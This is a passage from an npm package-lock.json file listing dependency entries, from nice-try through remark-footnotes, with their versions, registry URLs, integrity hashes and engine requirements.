"sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" }, "node_modules/nice-try": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", "dev": true }, "node_modules/node-fetch": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", "dependencies": { "whatwg-url": "^5.0.0" }, "engines": { "node": "4.x || >=6.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "peerDependenciesMeta": { "encoding": { "optional": true } } }, "node_modules/nopt": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/nopt/-/nopt-4.0.3.tgz", "integrity": "sha512-CvaGwVMztSMJLOeXPrez7fyfObdZqNUK1cPAEzLHrTybIua9pMdmmPR5YwtfNftIOMv3DPUhFaxsZMNTQO20Kg==", "dev": true, "dependencies": { "abbrev": "1", "osenv": "^0.1.4" }, "bin": { "nopt": "bin/nopt.js" } }, "node_modules/normalize-package-data": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", "dependencies": { "hosted-git-info": "^2.1.4", "resolve": "^1.10.0", "semver": "2 || 3 || 4 || 5", "validate-npm-package-license": "^3.0.1" } }, "node_modules/npm-normalize-package-bin": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/npm-normalize-package-bin/-/npm-normalize-package-bin-1.0.1.tgz", "integrity": "sha512-EPfafl6JL5/rU+ot6P3gRSCpPDW5VmIzX959Ob1+ySFUuuYHWHekXpwdUZcKP5C+DS4GEtdJluwBjnsNDl+fSA==", "dev": true }, "node_modules/npm-run-path": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", "dev": true, "dependencies": { "path-key": "^3.0.0" }, "engines": { "node": ">=8" } }, "node_modules/npm-run-path/node_modules/path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/object-inspect": { "version": "1.12.3", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", "dev": true, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/object-keys": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", "dev": true, "engines": { "node": ">= 0.4" } }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", "dependencies": { "wrappy": "1" } }, "node_modules/onetime": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", "dependencies": { "mimic-fn": "^2.1.0" }, "engines": { "node": ">=6" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/onetime/node_modules/mimic-fn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", "engines": { "node": ">=6" } }, "node_modules/optionator": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", "dev": true, "dependencies": { "deep-is": "~0.1.3", "fast-levenshtein": "~2.0.4", "levn": "~0.3.0", "prelude-ls": "~1.1.2", "type-check": "~0.3.2", "wordwrap": "~1.0.0" }, "engines": { "node": ">= 0.8.0" } }, "node_modules/ora": { "version": "5.4.1", "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", "dependencies": { "bl": "^4.1.0", "chalk": "^4.1.0", "cli-cursor": "^3.1.0", "cli-spinners": "^2.5.0", "is-interactive": "^1.0.0", "is-unicode-supported": "^0.1.0", "log-symbols": "^4.1.0", "strip-ansi": "^6.0.0", "wcwidth": "^1.0.1" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/ora/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "engines": { "node": ">=8" } }, "node_modules/ora/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/ora/node_modules/chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } }, "node_modules/ora/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/ora/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/ora/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "engines": { "node": ">=8" } }, "node_modules/ora/node_modules/strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dependencies": { "ansi-regex": "^5.0.1" }, "engines": { "node": ">=8" } }, "node_modules/ora/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/ory-prettier-styles": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/ory-prettier-styles/-/ory-prettier-styles-1.3.0.tgz", "integrity": "sha512-Vfn0G6CyLaadwcCamwe1SQCf37ZQfBDgMrhRI70dE/2fbE3Q43/xu7K5c32I5FGt/EliroWty5yBjmdkj0eWug==", "dev": true }, "node_modules/os-homedir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", "integrity": "sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", "engines": { "node": ">=0.10.0" } }, "node_modules/osenv": { "version": "0.1.5", "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", "dev": true, "dependencies": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" } }, "node_modules/ospath": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz", "integrity": "sha1-EnZjl3Sj+O8lcvf+QoDg6kVQwHs=", "dev": true }, "node_modules/p-limit": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", "dependencies": { "p-try": "^1.0.0" }, "engines": { "node": ">=4" } }, "node_modules/p-locate": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", "dependencies": { "p-limit": "^1.1.0" }, "engines": { "node": ">=4" } }, "node_modules/p-map": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", "dev": true, "dependencies": { "aggregate-error": "^3.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/p-try": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", "engines": { "node": ">=4" } }, "node_modules/parse-entities": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==", "dependencies": { "character-entities": "^1.0.0", "character-entities-legacy": "^1.0.0", "character-reference-invalid": "^1.0.0", "is-alphanumerical": "^1.0.0", "is-decimal": "^1.0.0", "is-hexadecimal": "^1.0.0" }, "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/parse-json": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", "dependencies": { "error-ex": "^1.3.1", "json-parse-better-errors": "^1.0.1" }, "engines": { "node": ">=4" } }, "node_modules/path-exists": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", "engines": { "node": ">=4" } }, "node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", "engines": { "node": ">=0.10.0" } }, "node_modules/path-is-inside": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", "dev": true }, "node_modules/path-key": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", "dev": true, "engines": { "node": ">=4" } }, "node_modules/path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, "node_modules/path-to-regexp": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-3.2.0.tgz", "integrity": "sha512-jczvQbCUS7XmS7o+y1aEO9OBVFeZBQ1MDSEqmO7xSoPgOPoowY/SxLpZ6Vh97/8qHZOteiCKb7gkG9gA2ZUxJA==" }, "node_modules/path-type": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/pend": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", "dev": true }, "node_modules/performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", "dev": true }, "node_modules/picomatch": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", "dev": true, "engines": { "node": ">=8.6" }, "funding": { "url": "https://github.com/sponsors/jonschlinkert" } }, "node_modules/pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", "engines": { "node": ">=0.10.0" } }, "node_modules/pkg-conf": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/pkg-conf/-/pkg-conf-2.1.0.tgz", "integrity": "sha1-ISZRTKbyq/69FoWW3xi6V4Z/AFg=", "dev": true, "dependencies": { "find-up": "^2.0.0", "load-json-file": "^4.0.0" }, "engines": { "node": ">=4" } }, "node_modules/pkg-config": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/pkg-config/-/pkg-config-1.1.1.tgz", "integrity": "sha1-VX7yLXPaPIg3EHdmxS6tq94pj+Q=", "dev": true, "dependencies": { "debug-log": "^1.0.0", "find-root": "^1.0.0", "xtend": "^4.0.1" }, "engines": { "node": ">=0.10" } }, "node_modules/pkg-dir": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", "dev": true, "dependencies": { "find-up": "^2.1.0" }, "engines": { "node": ">=4" } }, "node_modules/pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/prelude-ls": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", "dev": true, "engines": { "node": ">= 0.8.0" } }, "node_modules/prettier": { "version": "2.7.1", "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.7.1.tgz", "integrity": "sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g==", "dev": true, "bin": { "prettier": "bin-prettier.js" }, "engines": { "node": ">=10.13.0" }, "funding": { "url": "https://github.com/prettier/prettier?sponsor=1" } }, "node_modules/prettier-plugin-packagejson": { "version": "2.2.18", "resolved": "https://registry.npmjs.org/prettier-plugin-packagejson/-/prettier-plugin-packagejson-2.2.18.tgz", "integrity": "sha512-iBjQ3IY6IayFrQHhXvg+YvKprPUUiIJ04Vr9+EbeQPfwGajznArIqrN33c5bi4JcIvmLHGROIMOm9aYakJj/CA==", "dev": true, "dependencies": { "sort-package-json": "1.57.0" }, "peerDependencies": { "prettier": ">= 1.16.0" } }, "node_modules/pretty-bytes": { "version": "5.6.0", "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", "dev": true, "engines": { "node": ">=6" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, "node_modules/progress": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", "dev": true, "engines": { "node": ">=0.4.0" } }, "node_modules/prop-types": { "version": "15.7.2", "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==", "dev": true, "dependencies": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.8.1" } }, "node_modules/proxy-from-env": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.0.0.tgz", "integrity": "sha512-F2JHgJQ1iqwnHDcQjVBsq3n/uoaFL+iPW/eAeL7kVxy/2RrWaN4WroKjjvbsoRtv0ftelNyC01bjRhn/bhcf4A==", "dev": true }, "node_modules/psl": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", "dev": true }, "node_modules/pump": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", "dev": true, "dependencies": { "end-of-stream": "^1.1.0", "once": "^1.3.1" } }, "node_modules/punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", "dev": true, "engines": { "node": ">=6" } }, "node_modules/q": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==", "engines": { "node": ">=0.6.0", "teleport": ">=0.2.0" } }, "node_modules/qs": { "version": "6.10.4", "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.4.tgz", "integrity": "sha512-OQiU+C+Ds5qiH91qh/mg0w+8nwQuLjM4F4M/PbmhDOoYehPh+Fb0bDjtR1sOvy7YKxvj28Y/M0PhP5uVX0kB+g==", "dev": true, "dependencies": { "side-channel": "^1.0.4" }, "engines": { "node": ">=0.6" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/querystringify": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", "dev": true }, "node_modules/quick-lru": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", "engines": { "node": ">=8" } }, "node_modules/react-is": { "version": "16.8.6", "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.8.6.tgz", "integrity": "sha512-aUk3bHfZ2bRSVFFbbeVS4i+lNPZr3/WM5jT2J5omUVV1zzcs1nAaf3l51ctA5FFvCRbhrH0bdAsRRQddFJZPtA==", "dev": true }, "node_modules/read-installed": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/read-installed/-/read-installed-4.0.3.tgz", "integrity": "sha512-O03wg/IYuV/VtnK2h/KXEt9VIbMUFbk3ERG0Iu4FhLZw0EP0T9znqrYDGn6ncbEsXUFaUjiVAWXHzxwt3lhRPQ==", "dev": true, "dependencies": { "debuglog": "^1.0.1", "read-package-json": "^2.0.0", "readdir-scoped-modules": "^1.0.0", "semver": "2 || 3 || 4 || 5", "slide": "~1.1.3", "util-extend": "^1.0.1" }, "optionalDependencies": { "graceful-fs": "^4.1.2" } }, "node_modules/read-package-json": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/read-package-json/-/read-package-json-2.1.2.tgz", "integrity": "sha512-D1KmuLQr6ZSJS0tW8hf3WGpRlwszJOXZ3E8Yd/DNRaM5d+1wVRZdHlpGBLAuovjr28LbWvjpWkBHMxpRGGjzNA==", "dev": true, "dependencies": { "glob": "^7.1.1", "json-parse-even-better-errors": "^2.3.0", "normalize-package-data": "^2.0.0", "npm-normalize-package-bin": "^1.0.0" } }, "node_modules/read-pkg": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-3.0.0.tgz", "integrity": "sha512-BLq/cCO9two+lBgiTYNqD6GdtK8s4NpaWrl6/rCO9w0TUS8oJl7cmToOZfRYllKTISY6nt1U7jQ53brmKqY6BA==", "dependencies": { "load-json-file": "^4.0.0", "normalize-package-data": "^2.3.2", "path-type": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/read-pkg-up": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", "dev": true, "dependencies": { "find-up": "^2.0.0", "read-pkg": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/read-pkg-up/node_modules/load-json-file": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", "dev": true, "dependencies": { "graceful-fs": "^4.1.2", "parse-json": "^2.2.0", "pify": "^2.0.0", "strip-bom": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/read-pkg-up/node_modules/parse-json": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", "dev": true, "dependencies": { "error-ex": "^1.2.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/read-pkg-up/node_modules/path-type": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", "dev": true, "dependencies": { "pify": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/read-pkg-up/node_modules/read-pkg": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", "dev": true, "dependencies": { "load-json-file": "^2.0.0", "normalize-package-data": "^2.3.2", "path-type": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/read-pkg/node_modules/path-type": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-3.0.0.tgz", "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==", "dependencies": { "pify": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/read-pkg/node_modules/pify": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==", "engines": { "node": ">=4" } }, "node_modules/readable-stream": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" }, "engines": { "node": ">= 6" } }, "node_modules/readdir-scoped-modules": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/readdir-scoped-modules/-/readdir-scoped-modules-1.1.0.tgz", "integrity": "sha512-asaikDeqAQg7JifRsZn1NJZXo9E+VwlyCfbkZhwyISinqk5zNS6266HS5kah6P0SaQKGF6SkNnZVHUzHFYxYDw==", "dev": true, "dependencies": { "debuglog": "^1.0.1", "dezalgo": "^1.0.0", "graceful-fs": "^4.1.2", "once": "^1.3.0" } }, "node_modules/redent": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", "dependencies": { "indent-string": "^4.0.0", "strip-indent": "^3.0.0" }, "engines": { "node": ">=8" } }, "node_modules/reflect-metadata": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.1.13.tgz", "integrity": "sha512-Ts1Y/anZELhSsjMcU605fU9RE4Oi3p5ORujwbIKXfWa+0Zxs510Qrmrce5/Jowq3cHSZSJqBjypxmHarc+vEWg==" }, "node_modules/regexpp": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz", "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==", "dev": true, "engines": { "node": ">=6.5.0" } }, "node_modules/remark-footnotes": { "version": "3.0.0", "resolved": 